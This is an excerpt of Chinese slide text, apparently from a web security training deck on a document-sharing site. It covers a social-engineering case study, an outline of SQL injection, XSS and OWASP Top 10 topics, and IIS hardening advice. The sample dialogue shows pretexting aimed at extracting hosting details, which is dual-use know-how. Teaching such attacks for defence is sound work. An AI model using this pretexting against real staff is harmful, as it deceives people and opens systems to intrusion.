只能挂钩一个站,所以好多卡,没错的话应该是工商银行。1G空间100元22:22:22哦,你稍等,我请示下我们陈经理。AndyYu22:25:49好了,不用找了,我想起来了,以后再也不介绍朋友来你们这买空间了。,案例分析,我:对了,你数据库怎么管理的?,案例分析,成功因素,引导成功的因素-人的天性诱导成功的因素-自然-自学-不贪婪,渗透测试之社会工程学,安全防范,Google黑客【寻找简单,补救便捷】加密密码补丁意识,提纲,Web应用安全基础SQL注入详述XSS跨站脚本攻击详述下载漏洞详述敏感信息泄露社会工程学中间件安全及防护OWASPTOP10扩展,192,概念轻量级WEB中间件IISApache、Tomcat、Jboss、Jetty重量级WEB中间件BEA-WEBLOGICIBM-WEBSPHERE,中间件安全及防护,IIS安全加固建议使用IIS7或IIS7.5新的组件架构大大减少了攻击面新的请求过滤和请求重写模块(RequestFilteringandRequestRewrite)配置文件加密匿名帐号IUSR_被新的系统默认帐号IUSR替代URL授权(URLAuthorization),中间件安全及防护,RequestFiltering过滤Double-EncodedRequests过滤HighBitCharacters过滤文件扩展名限制ContentLength、URL长度和查询字符串长度过滤请求方式(比如:GET,POST,PUT)过滤特定字符(比如:.
展开阅读全文
相关资源
正为您匹配相似的精品文档
相关搜索

最新文档


当前位置:首页 > 图纸专区 > 课件教案


copyright@ 2023-2025  zhuangpeitu.com 装配图网版权所有   联系电话:18123376007

备案号:ICP2024067431-1 川公网安备51140202000466号


本站为文档C2C交易模式,即用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。装配图网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知装配图网,我们立即给予删除!